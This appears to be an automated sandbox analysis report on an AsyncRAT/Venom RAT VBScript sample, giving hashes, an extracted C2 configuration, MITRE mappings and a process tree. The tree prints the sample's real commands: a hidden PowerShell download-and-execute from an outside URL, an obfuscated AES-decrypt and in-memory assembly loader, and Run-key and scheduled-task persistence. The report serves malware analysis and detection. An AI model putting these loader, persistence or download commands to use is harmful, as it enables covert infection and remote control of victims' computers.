asyncrat | 799e3743d0666a4d0def179260537e1711456f39949cc672ba356d15bca9c0be

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
13-12-2024 02:38

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General

Target

799e3743d0666a4d0def179260537e1711456f39949cc672ba356d15bca9c0be.vbs
Size

78KB
MD5

f4360392014f0bebc78d81bbf8b1bfec
SHA1

275ddf9b03cc98e1f0d599140e19c64d5a941fd9
SHA256

799e3743d0666a4d0def179260537e1711456f39949cc672ba356d15bca9c0be
SHA512

bfeded4bf8bd4e82226ec0b3b3abb7dfd9d328ce1216004bdd47bf997f3058a8cf8a5973ef4e01979dbfdb71cc2c9f73a731f70e58eec2106208d7dc08000a79
SSDEEP

1536:xO6AlDEJYMg1Z0BYBOMadTFA63RI3xMpFgLTljdKCHBlok:kblQJYZ1Z2YBLT2mSpFg6iEk

Score

10^/10

asyncrat dec2024 execution persistence rat

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Dec2024

45.88.88.7:6845

Mutex

zmkdvkzgwmnzhgvxwwk

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/3008-63-0x000002AA77DB0000-0x000002AA77DC8000-memory.dmp	family_asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
36	3008	powershell.exe
38	3008	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3476	powershell.exe
3492	powershell.exe
3008	powershell.exe
1140	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MicrosoftService = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\system.bat\""	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1140	powershell.exe
1140	powershell.exe
3476	powershell.exe
3476	powershell.exe
3492	powershell.exe
3492	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1140	powershell.exe
Token: SeDebugPrivilege	3476	powershell.exe
Token: SeDebugPrivilege	3492	powershell.exe
Token: SeIncreaseQuotaPrivilege	3492	powershell.exe
Token: SeSecurityPrivilege	3492	powershell.exe
Token: SeTakeOwnershipPrivilege	3492	powershell.exe
Token: SeLoadDriverPrivilege	3492	powershell.exe
Token: SeSystemProfilePrivilege	3492	powershell.exe
Token: SeSystemtimePrivilege	3492	powershell.exe
Token: SeProfSingleProcessPrivilege	3492	powershell.exe
Token: SeIncBasePriorityPrivilege	3492	powershell.exe
Token: SeCreatePagefilePrivilege	3492	powershell.exe
Token: SeBackupPrivilege	3492	powershell.exe
Token: SeRestorePrivilege	3492	powershell.exe
Token: SeShutdownPrivilege	3492	powershell.exe
Token: SeDebugPrivilege	3492	powershell.exe
Token: SeSystemEnvironmentPrivilege	3492	powershell.exe
Token: SeRemoteShutdownPrivilege	3492	powershell.exe
Token: SeUndockPrivilege	3492	powershell.exe
Token: SeManageVolumePrivilege	3492	powershell.exe
Token: 33	3492	powershell.exe
Token: 34	3492	powershell.exe
Token: 35	3492	powershell.exe
Token: 36	3492	powershell.exe
Token: SeIncreaseQuotaPrivilege	3492	powershell.exe
Token: SeSecurityPrivilege	3492	powershell.exe
Token: SeTakeOwnershipPrivilege	3492	powershell.exe
Token: SeLoadDriverPrivilege	3492	powershell.exe
Token: SeSystemProfilePrivilege	3492	powershell.exe
Token: SeSystemtimePrivilege	3492	powershell.exe
Token: SeProfSingleProcessPrivilege	3492	powershell.exe
Token: SeIncBasePriorityPrivilege	3492	powershell.exe
Token: SeCreatePagefilePrivilege	3492	powershell.exe
Token: SeBackupPrivilege	3492	powershell.exe
Token: SeRestorePrivilege	3492	powershell.exe
Token: SeShutdownPrivilege	3492	powershell.exe
Token: SeDebugPrivilege	3492	powershell.exe
Token: SeSystemEnvironmentPrivilege	3492	powershell.exe
Token: SeRemoteShutdownPrivilege	3492	powershell.exe
Token: SeUndockPrivilege	3492	powershell.exe
Token: SeManageVolumePrivilege	3492	powershell.exe
Token: 33	3492	powershell.exe
Token: 34	3492	powershell.exe
Token: 35	3492	powershell.exe
Token: 36	3492	powershell.exe
Token: SeIncreaseQuotaPrivilege	3492	powershell.exe
Token: SeSecurityPrivilege	3492	powershell.exe
Token: SeTakeOwnershipPrivilege	3492	powershell.exe
Token: SeLoadDriverPrivilege	3492	powershell.exe
Token: SeSystemProfilePrivilege	3492	powershell.exe
Token: SeSystemtimePrivilege	3492	powershell.exe
Token: SeProfSingleProcessPrivilege	3492	powershell.exe
Token: SeIncBasePriorityPrivilege	3492	powershell.exe
Token: SeCreatePagefilePrivilege	3492	powershell.exe
Token: SeBackupPrivilege	3492	powershell.exe
Token: SeRestorePrivilege	3492	powershell.exe
Token: SeShutdownPrivilege	3492	powershell.exe
Token: SeDebugPrivilege	3492	powershell.exe
Token: SeSystemEnvironmentPrivilege	3492	powershell.exe
Token: SeRemoteShutdownPrivilege	3492	powershell.exe
Token: SeUndockPrivilege	3492	powershell.exe
Token: SeManageVolumePrivilege	3492	powershell.exe
Token: 33	3492	powershell.exe
Token: 34	3492	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3008	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1168 wrote to memory of 1140	1168	WScript.exe	85
PID 1168 wrote to memory of 1140	1168	WScript.exe	85
PID 1168 wrote to memory of 808	1168	WScript.exe	103
PID 1168 wrote to memory of 808	1168	WScript.exe	103
PID 808 wrote to memory of 3108	808	cmd.exe	105
PID 808 wrote to memory of 3108	808	cmd.exe	105
PID 808 wrote to memory of 3476	808	cmd.exe	106
PID 808 wrote to memory of 3476	808	cmd.exe	106
PID 3476 wrote to memory of 3492	3476	powershell.exe	107
PID 3476 wrote to memory of 3492	3476	powershell.exe	107
PID 3476 wrote to memory of 4764	3476	powershell.exe	110
PID 3476 wrote to memory of 4764	3476	powershell.exe	110
PID 4764 wrote to memory of 2892	4764	WScript.exe	111
PID 4764 wrote to memory of 2892	4764	WScript.exe	111
PID 2892 wrote to memory of 4720	2892	cmd.exe	113
PID 2892 wrote to memory of 4720	2892	cmd.exe	113
PID 2892 wrote to memory of 3008	2892	cmd.exe	114
PID 2892 wrote to memory of 3008	2892	cmd.exe	114

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\799e3743d0666a4d0def179260537e1711456f39949cc672ba356d15bca9c0be.vbs"
1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "iex (iwr -Uri https://emptyservices.xyz/vbs.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\system.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7YiAJ5/sPelca+hTcek78jxnU9ioiOBmM7qe4UB010A='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('K5VNkdetZe//Td3nkfB/hw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $zGnmY=New-Object System.IO.MemoryStream(,$param_var); $gcYTH=New-Object System.IO.MemoryStream; $twAan=New-Object System.IO.Compression.GZipStream($zGnmY, [IO.Compression.CompressionMode]::Decompress); $twAan.CopyTo($gcYTH); $twAan.Dispose(); $zGnmY.Dispose(); $gcYTH.Dispose(); $gcYTH.ToArray();}function execute_function($param_var,$param2_var){ $nREcc=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $hmWZi=$nREcc.EntryPoint; $hmWZi.Invoke($null, $param2_var);}$BBtPh = 'C:\Users\Admin\AppData\Local\Temp\system.bat';$host.UI.RawUI.WindowTitle = $BBtPh;$VJQrS=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($BBtPh).Split([Environment]::NewLine);foreach ($EvXNX in $VJQrS) { if ($EvXNX.StartsWith('jVPqiiWHWVTrLedMZeIO')) { $Qjyhd=$EvXNX.Substring(20); break; }}$payloads_var=[string[]]$Qjyhd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:3108
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3476
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_541_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_541.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3492
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_541.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:4764
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_541.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2892
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7YiAJ5/sPelca+hTcek78jxnU9ioiOBmM7qe4UB010A='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('K5VNkdetZe//Td3nkfB/hw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $zGnmY=New-Object System.IO.MemoryStream(,$param_var); $gcYTH=New-Object System.IO.MemoryStream; $twAan=New-Object System.IO.Compression.GZipStream($zGnmY, [IO.Compression.CompressionMode]::Decompress); $twAan.CopyTo($gcYTH); $twAan.Dispose(); $zGnmY.Dispose(); $gcYTH.Dispose(); $gcYTH.ToArray();}function execute_function($param_var,$param2_var){ $nREcc=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $hmWZi=$nREcc.EntryPoint; $hmWZi.Invoke($null, $param2_var);}$BBtPh = 'C:\Users\Admin\AppData\Roaming\Windows_Log_541.bat';$host.UI.RawUI.WindowTitle = $BBtPh;$VJQrS=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($BBtPh).Split([Environment]::NewLine);foreach ($EvXNX in $VJQrS) { if ($EvXNX.StartsWith('jVPqiiWHWVTrLedMZeIO')) { $Qjyhd=$EvXNX.Substring(20); break; }}$payloads_var=[string[]]$Qjyhd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:4720
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:3008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
005bc2ef5a9d890fb2297be6a36f01c2

SHA1
0c52adee1316c54b0bfdc510c0963196e7ebb430

SHA256
342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

SHA512
f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b66db53846de4860ca72a3e59b38c544

SHA1
2202dc88e9cddea92df4f4e8d83930efd98c9c5a

SHA256
b1a00fcea37b39a5556eea46e50711f7713b72be077a73cb16515ca3538d6030

SHA512
72eff4ae1d541c4438d3cd85d2c1a8c933744b74c7a2a4830ffe398fee88f1a8c5b241d23e94bcdf43b4be28c2747b331a280a7dc67ab67d8e72c6569f016527

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4hwg3nkx.4dk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\system.bat

Filesize
69KB

MD5
67fdaf4f143ad3cdab6f3c542076b194

SHA1
8a7474470f2c47e3f301aef70da5ef415c38cff2

SHA256
f10e4792e78f14998d0334d5d35b5efa825581c917a80e6d8ee096ee714e0c7e

SHA512
64d68d7e8dbad526a2d4d09f4a3ba8b2a28a97a79123ad303c3aea39be8652fc2ad9fdc3f85ddbf68c0713e6186b8219774cd6c46cf90ac3f6a61711b62939e4

Download Submit
C:\Users\Admin\AppData\Roaming\Windows_Log_541.vbs

Filesize
115B

MD5
5e310d83bca4e40f4a956dbd6ff842be

SHA1
8b54baa47e75d264b2ab9575748aafe43e354dd2

SHA256
b7489f5cf56db250f805c3c86a64703670cdef7b07c776de262868a673996e20

SHA512
4bb3c56d21d7f91d21a3ef7a318775b8ac1d57d46616f208333d0fecba15139bb4686cae66f234c7f4a1f1e383eeb0d31fd966e68db31584ab620f1366cfe096

Download Submit
memory/1140-12-0x00007FF8BE390000-0x00007FF8BEE51000-memory.dmp

Filesize
10.8MB

Download
memory/1140-16-0x00007FF8BE390000-0x00007FF8BEE51000-memory.dmp

Filesize
10.8MB

Download
memory/1140-15-0x00007FF8BE390000-0x00007FF8BEE51000-memory.dmp

Filesize
10.8MB

Download
memory/1140-0-0x00007FF8BE393000-0x00007FF8BE395000-memory.dmp

Filesize
8KB

Download
memory/1140-11-0x00007FF8BE390000-0x00007FF8BEE51000-memory.dmp

Filesize
10.8MB

Download
memory/1140-2-0x00000266F8B30000-0x00000266F8B52000-memory.dmp

Filesize
136KB

Download
memory/3008-63-0x000002AA77DB0000-0x000002AA77DC8000-memory.dmp

Filesize
96KB

Download
memory/3476-31-0x000001E5FFC40000-0x000001E5FFC84000-memory.dmp

Filesize
272KB

Download
memory/3476-32-0x000001E5FFD10000-0x000001E5FFD86000-memory.dmp

Filesize
472KB

Download
memory/3476-33-0x000001E59A150000-0x000001E59A158000-memory.dmp

Filesize
32KB

Download
memory/3476-34-0x000001E59A160000-0x000001E59A172000-memory.dmp

Filesize
72KB

Download